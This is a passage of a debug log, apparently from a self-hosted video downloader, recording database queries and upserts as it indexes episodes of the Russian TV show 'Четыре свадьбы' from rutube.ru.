s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:41.488 [debug] QUERY OK source="media_items" db=0.8ms idle=7.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-01-28 00:20:23Z], 1] 14:35:41.578 [debug] QUERY OK source="media_items" db=89.2ms idle=7.5ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы: Серия 19", "e057d8cf-f5ed-41fb-82b0-ea5ab2f6ac97", "822ef5a609a1b23c0c5249f331bb7ccf", 4927, false, "https://rutube.ru/video/822ef5a609a1b23c0c5249f331bb7ccf/", 35, "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e012800 - Четыре свадьбы: Серия 19.mp4", false, false, false, 1, [], 1, ~U[2022-01-28 00:20:23Z], ~U[2025-12-09 11:35:41Z], ~U[2025-12-09 11:35:41Z], "", "Четыре свадьбы: Серия 19", "822ef5a609a1b23c0c5249f331bb7ccf", 4927, false, "https://rutube.ru/video/822ef5a609a1b23c0c5249f331bb7ccf/", "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e012800 - Четыре свадьбы: Серия 19.mp4", false, 1, ~U[2022-01-28 00:20:23Z]] 14:35:41.597 [debug] QUERY OK source="sources" db=17.8ms queue=0.1ms idle=96.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:41.598 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.1ms idle=113.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:41.603 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=113.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [39578] 14:35:41.603 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 4860, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e020300 - Четыре свадьбы: Серия 20.mp4", "id" => "ee137cfac028bfbe75b0b5fd0cdf4c96", "original_url" => "https://rutube.ru/video/ee137cfac028bfbe75b0b5fd0cdf4c96/", "playlist_index" => 36, "timestamp" => 1643914877, "title" => "Четыре свадьбы: Серия 20", "upload_date" => "20220203"} 14:35:41.604 [debug] QUERY OK source="sources" db=0.6ms idle=115.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:41.605 [debug] QUERY OK source="sources" db=0.6ms idle=26.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:41.606 [debug] QUERY OK source="media_items" db=0.5ms idle=8.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-02-03 19:01:17Z], 1] 14:35:41.692 [debug] QUERY OK source="media_items" db=85.4ms idle=8.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы: Серия 20", "c9c5b75c-6f95-46a7-bfdf-cbc0de1f57ae", "ee137cfac028bfbe75b0b5fd0cdf4c96", 4860, false, "https://rutube.ru/video/ee137cfac028bfbe75b0b5fd0cdf4c96/", 36, "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e020300 - Четыре свадьбы: Серия 20.mp4", false, false, false, 1, [], 1, ~U[2022-02-03 19:01:17Z], ~U[2025-12-09 11:35:41Z], ~U[2025-12-09 11:35:41Z], "", "Четыре свадьбы: Серия 20", "ee137cfac028bfbe75b0b5fd0cdf4c96", 4860, false, "https://rutube.ru/video/ee137cfac028bfbe75b0b5fd0cdf4c96/", "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e020300 - Четыре свадьбы: Серия 20.mp4", false, 1, ~U[2022-02-03 19:01:17Z]] 14:35:41.695 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=91.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:41.696 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=91.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:41.698 [debug] QUERY OK source="media_items" db=1.0ms idle=91.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [38041] 14:35:41.699 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.79, "description" => "", "duration" => 4670, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e022200 - Четыре свадьбы: Серия 22.mp4", "id" => "c44a00c665c8c89b1210e7f5968bea21", "original_url" => "https://rutube.ru/video/c44a00c665c8c89b1210e7f5968bea21/", "playlist_index" => 37, "timestamp" => 1645555204, "title" => "Четыре свадьбы: Серия 22", "upload_date" => "20220222"} 14:35:41.700 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=92.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:41.701 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:41.702 [debug] QUERY OK source="media_items" db=0.6ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-02-22 18:40:04Z], 1] 14:35:41.836 [debug] QUERY OK source="media_items" db=132.4ms idle=6.7ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы: Серия 22", "72c9bc98-3b33-4a85-9335-c0d3e3291f29", "c44a00c665c8c89b1210e7f5968bea21", 4670, false, "https://rutube.ru/video/c44a00c665c8c89b1210e7f5968bea21/", 37, "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e022200 - Четыре свадьбы: Серия 22.mp4", false, false, false, 1, [], 1, ~U[2022-02-22 18:40:04Z], ~U[2025-12-09 11:35:41Z], ~U[2025-12-09 11:35:41Z], "", "Четыре свадьбы: Серия 22", "c44a00c665c8c89b1210e7f5968bea21", 4670, false, "https://rutube.ru/video/c44a00c665c8c89b1210e7f5968bea21/", "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e022200 - Четыре свадьбы: Серия 22.mp4", false, 1, ~U[2022-02-22 18:40:04Z]] 14:35:41.840 [debug] QUERY OK source="sources" db=3.2ms queue=0.1ms idle=138.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:41.842 [debug] QUERY OK source="media_profiles" db=1.1ms queue=0.2ms idle=140.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:41.845 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=141.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [38042] 14:35:41.846 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 4587, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e022500 - Четыре свадьбы: Серия 23.mp4", "id" => "bdb0c80b2df0ef5cf0ea16aeb027d25a", "original_url" => "https://rutube.ru/video/bdb0c80b2df0ef5cf0ea16aeb027d25a/", "playlist_index" => 38, "timestamp" => 1645809604, "title" => "Четыре свадьбы: Серия 23", "upload_date" => "20220225"} 14:35:41.848 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=143.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:41.850 [debug] QUERY OK source="sources" db=1.3ms queue=0.6ms idle=12.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:41.852 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=10.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-02-25 17:20:04Z], 1] 14:35:41.947 [debug] QUERY OK source="media_items" db=93.8ms idle=10.7ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы: Серия 23", "beeff968-c81c-4e71-b231-2f32f788ec21", "bdb0c80b2df0ef5cf0ea16aeb027d25a", 4587, false, "https://rutube.ru/video/bdb0c80b2df0ef5cf0ea16aeb027d25a/", 38, "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e022500 - Четыре свадьбы: Серия 23.mp4", false, false, false, 1, [], 1, ~U[2022-02-25 17:20:04Z], ~U[2025-12-09 11:35:41Z], ~U[2025-12-09 11:35:41Z], "", "Четыре свадьбы: Серия 23", "bdb0c80b2df0ef5cf0ea16aeb027d25a", 4587, false, "https://rutube.ru/video/bdb0c80b2df0ef5cf0ea16aeb027d25a/", "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e022500 - Четыре свадьбы: Серия 23.mp4", false, 1, ~U[2022-02-25 17:20:04Z]] 14:35:41.949 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=102.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:41.950 [debug] QUERY OK source="media_profiles" db=0.8ms idle=101.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:41.953 [debug] QUERY OK source="media_items" db=2.0ms idle=100.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [38043] 14:35:41.953 [debug] Current batch of media processed. Will check again in 1000ms 14:35:42.956 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре невесты готовы удивлять! Илюса из Казани решила ярко появиться на своей свадьбе в деревенском стиле. Ксения из Нижнего Тагила придумала оригинальную фотосессию на своей пожарной свадьбе. У Светланы из Екатеринбурга будет мото-свадьба, на которой она устроит байк-шоу. А на свадьбе в стиле «фрик-шоу» невеста Екатерина из Москвы будет впечатлять дизайнерскими нарядами. Какие ещё развлечения подготовили девушки, узнаем из программы «Четыре свадьбы».", "duration" => 5962, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e011900 - Свадьба в деревенском стиле VS Пожарная свадьба.mp4", "id" => "da5ab11ef6980d22f6424a996e48de5d", "original_url" => "https://rutube.ru/video/da5ab11ef6980d22f6424a996e48de5d/", "playlist_index" => 39, "timestamp" => 1674138007, "title" => "Свадьба в деревенском стиле VS Пожарная свадьба", "upload_date" => "20230119"} 14:35:42.957 [debug] QUERY OK source="sources" db=0.6ms idle=1009.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:42.958 [debug] QUERY OK source="sources" db=0.8ms idle=1008.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:42.959 [debug] QUERY OK source="media_items" db=1.1ms idle=1007.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-01-19 14:20:07Z], 1] 14:35:43.114 [debug] QUERY OK source="media_items" db=152.8ms idle=1007.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты готовы удивлять! Илюса из Казани решила ярко появиться на своей свадьбе в деревенском стиле. Ксения из Нижнего Тагила придумала оригинальную фотосессию на своей пожарной свадьбе. У Светланы из Екатеринбурга будет мото-свадьба, на которой она устроит байк-шоу. А на свадьбе в стиле «фрик-шоу» невеста Екатерина из Москвы будет впечатлять дизайнерскими нарядами. Какие ещё развлечения подготовили девушки, узнаем из программы «Четыре свадьбы».", "Свадьба в деревенском стиле VS Пожарная свадьба", "5d08239e-a5e7-4366-9d4b-17b38d1d516b", "da5ab11ef6980d22f6424a996e48de5d", 5962, false, "https://rutube.ru/video/da5ab11ef6980d22f6424a996e48de5d/", 39, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e011900 - Свадьба в деревенском стиле VS Пожарная свадьба.mp4", false, false, false, 1, [], 1, ~U[2023-01-19 14:20:07Z], ~U[2025-12-09 11:35:42Z], ~U[2025-12-09 11:35:42Z], "Четыре невесты готовы удивлять! Илюса из Казани решила ярко появиться на своей свадьбе в деревенском стиле. Ксения из Нижнего Тагила придумала оригинальную фотосессию на своей пожарной свадьбе. У Светланы из Екатеринбурга будет мото-свадьба, на которой она устроит байк-шоу. А на свадьбе в стиле «фрик-шоу» невеста Екатерина из Москвы будет впечатлять дизайнерскими нарядами. Какие ещё развлечения подготовили девушки, узнаем из программы «Четыре свадьбы».", "Свадьба в деревенском стиле VS Пожарная свадьба", "da5ab11ef6980d22f6424a996e48de5d", 5962, false, "https://rutube.ru/video/da5ab11ef6980d22f6424a996e48de5d/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e011900 - Свадьба в деревенском стиле VS Пожарная свадьба.mp4", false, 1, ~U[2023-01-19 14:20:07Z]] 14:35:43.119 [debug] QUERY OK source="sources" db=5.3ms queue=0.1ms idle=943.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:43.120 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=163.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM 